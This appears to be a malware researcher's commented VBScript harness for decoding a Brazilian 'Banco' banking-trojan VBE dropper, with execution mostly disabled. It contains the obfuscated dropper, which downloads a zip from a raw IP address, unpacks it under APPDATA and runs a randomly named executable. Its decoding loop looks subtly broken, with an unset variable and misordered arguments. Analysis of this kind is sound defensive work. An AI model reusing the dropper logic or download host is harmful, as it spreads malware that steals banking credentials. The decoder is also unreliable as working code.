Banco VBE decoded

// shared vbe decoded beautified script
// with comment - case: banco, Brazil
// #MalwareMustDie

Wscript.Echo "press to start,,,"

'// mainvar6
'//SUB mainvar6

'// -------commented  all except the path check var ones..

SET mainvar7 = WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL")
'// SET mainvar8 = GETOBJECT ("WINMGMTS:\\.\ROOT\CIMV2")
'// SET mainvar9 = mainvar8.EXECQUERY ("SELECT * FROM WIN32_COMPUTERSYSTEM")

'// FOR EACH pcinfo0 IN mainvar9
'// pcinfo1 = pcinfo0.SYSTEMTYPE
'// NEXT

'// IF (UCASE(pcinfo1) = "X64-BASED PC") AND (INSTR (UCASE(WSCRIPT.PATH),"SYSWOW64") = 0) THEN
'//    mainvar7.RUN mainvar7.EXPANDENVIRONMENTSTRINGS("%WINDIR%")&"\SYSWOW64\WSCRIPT.EXE "&CHR(34)&WSCRIPT.SCRIPTFULLNAME&CHR(34)

Wscript.Echo  mainvar7.EXPANDENVIRONMENTSTRINGS("%WINDIR%")&"\SYSWOW64\WSCRIPT.EXE "&CHR(34)&WSCRIPT.SCRIPTFULLNAME&CHR(34)

'//    WSCRIPT.QUIT
'// END IF

'// ------comment end

'//END SUB

Wscript.Echo "loading var2,,,"

var2 = ">1yvf = ''shhn://5.175.145.181/fkyvec/ehrwjhw.zrn''jwh bjswff = ovwuhwbekwoh(''ajovrnh.jswff'')jwh gjb = ovwuhwbekwoh(''jovrnhrtc.grfwjxjhwpbekwoh'')jhvsbpwgbflwv = bjswff.wdnutlwtirvbtpwthjhvrtcj(''%unnluhu%'')gbflwvtupw = jhvsbpwgbflwv + ''\'' + vutlbpjhvrtc() + ''\''jwh bgjb = ovwuhwbekwoh(''jovrnhrtc.grfwjxjhwpbekwoh'')rg tbh bgjb.gbflwvwdrjhj(gbflwvtupw) hswtjwh bekgbflwv = bgjb.ovwuhwgbflwv(gbflwvtupw)wtl rgnyjs_hb = gbflwvtupw & vutlbpjhvrtc() & ''.zrn''nyjs yvf,nyjs_hbzrngrfw= nyjs_hbwdhvuohhb= gbflwvtupwjwh gjb = ovwuhwbekwoh(''jovrnhrtc.grfwjxjhwpbekwoh'')rg tbh gjb.gbflwvwdrjhj(wdhvuohhb) hswt   gjb.ovwuhwgbflwv(wdhvuohhb)wtl rgjwh bekjswff = ovwuhwbekwoh(''jswff.unnfrouhrbt'')jwh grfwjrtzrn=bekjswff.tupwjnuow(zrngrfw).rhwpjbekjswff.tupwjnuow(wdhvuohhb).obnxswvw(grfwjrtzrn)jwh gjb = tbhsrtcjwh bekjswff = tbhsrtctwa_grfw_tupw = vutlbpjhvrtc() & ''.wdw''jwh gjb = ovwuhwbekwoh(''jovrnhrtc.grfwjxjhwpbekwoh'')jwh bgflv = gjb.cwhgbflwv(gbflwvtupw)gbv wuos bgrfw rt bgflv.grfwj rg foujw(gjb.cwhwdhwtjrbttupw(bgrfw.tupw)) = ''hdh'' hswt  bgrfw.tupw = twa_grfw_tupw  wdrh gbv wtl rgtwdhjwh bekjswff = ajovrnh.ovwuhwbekwoh( ''ajovrnh.jswff'' )bekjswff.wdwo(gbflwvtupw & twa_grfw_tupw)'tbpw obvvwhb lb wdwjwh bekjswff = tbhsrtcjye nyjs( pxgrfwyvf, pxlwjhgrfw )lrp dshhn: jwh dshhn = ovwuhwbekwoh(''provbjbgh.dpfshhn'')lrp ejhvp: jwh ejhvp = ovwuhwbekwoh(''ulble.jhvwup'')dshhn.bnwt ''cwh'', pxgrfwyvf, gufjwdshhn.jwtlarhs ejhvp    .hxnw = 1 '//ertuvx    .bnwt    .avrhw dshhn.vwjnbtjweblx    .juiwhbgrfw pxlwjhgrfw, 2 '//biwvavrhwwtl arhswtl jyegytohrbt vutlbpjhvrtc()    vutlbprzw()    lrp osuvuohwvjwhuvvux    osuvuohwvjwhuvvux = uvvux(_        uvvux(7, ''var6''), _        uvvux(1, ''0123456789'') _    )    lrp r    lrp k    lrp obyth    lrp osuvj    lrp rtlwd    lrp hwpn    gbv r = 0 hb yebytl(osuvuohwvjwhuvvux)        obyth = osuvuohwvjwhuvvux(r)(0)        osuvj = osuvuohwvjwhuvvux(r)(1)        gbv k = 1 hb obyth            rtlwd = rth(vtl() * fwt(osuvj)) + 1            hwpn = hwpn & prl(osuvj, rtlwd, 1)        twdh    twdh    lrp hwpnobnx    lb ythrf fwt(hwpn) = 0        rtlwd = rth(vtl() * fwt(hwpn)) + 1        hwpnobnx = hwpnobnx & prl(hwpn, rtlwd, 1)        hwpn = prl(hwpn, 1, rtlwd - 1) & prl(hwpn, rtlwd + 1)    fbbn    vutlbpjhvrtc = hwpnobnxwtl gytohrbt>!<"

Wscript.Echo var2

Wscript.Echo "decoding var2,,,"

var1 = InStr(var2,chr(62) & "1")
var3 = InStr(var2,chr(62) & "!" & Chr(60))
var3 = var3 -1
var4 = var3 - var1
var1 = var1 + 1
var5 = Replace(Mid(var2,var1,var4),"''","""")
nextvar0="var6"
nextvar1=var5

for nextvar3=2 to len(nextvar1)
nextvar4=mid(nextvar1,nextvar3,1)
if instr(nextvar2,nextvar4) then
     xxx = instr(nextvar0,nextvar4)
     yyy = mid(xxx , nextvar2 , 1)
     nextvar5 = nextvar5 & yyy
else
     nextvar5=nextvar5&nextvar4
end if
next

maincall(split(nextvar5,""))
'MrZer0

Function maincall(pcinfo)
Set badness = CreateObject("ScriptControl")
badness.Language = "VBScript"
badness.addobject "wscript",wscript
badness.TimeOut = -1

For each i in pcinfo
  shits = shits & i & vbcrlf
next

'//badness.addcode(shits)

Wscript.Echo shits

end function
[EOF]